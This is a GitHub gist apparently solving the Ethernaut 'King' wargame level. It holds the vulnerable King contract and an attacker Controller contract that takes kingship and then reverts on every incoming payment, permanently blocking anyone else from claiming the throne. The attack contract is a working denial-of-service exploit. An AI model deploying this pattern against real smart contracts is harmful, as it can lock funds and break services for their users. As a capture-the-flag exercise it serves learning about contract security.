Skip to content

Instantly share code, notes, and snippets.

@tennisonchan
Last active January 17, 2022 09:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tennisonchan/378c71fb5235dfa00a85450c15183aee to your computer and use it in GitHub Desktop.
Save tennisonchan/378c71fb5235dfa00a85450c15183aee to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./King.sol";
contract Controller {
King public target;
constructor(address payable targetAddress) public payable {
// 0x53AE1A698211016e92ece4102217DBdBDC325022
target = King(targetAddress);
}
function clamKingship() external payable {
(bool success, ) = payable(address(target)).call{value:msg.value}("");
require(success, "External call failed");
}
function getKing() public view returns(address) {
return target._king();
}
fallback() external payable {
revert();
}
receive() external payable {
require(false, "Nope!");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment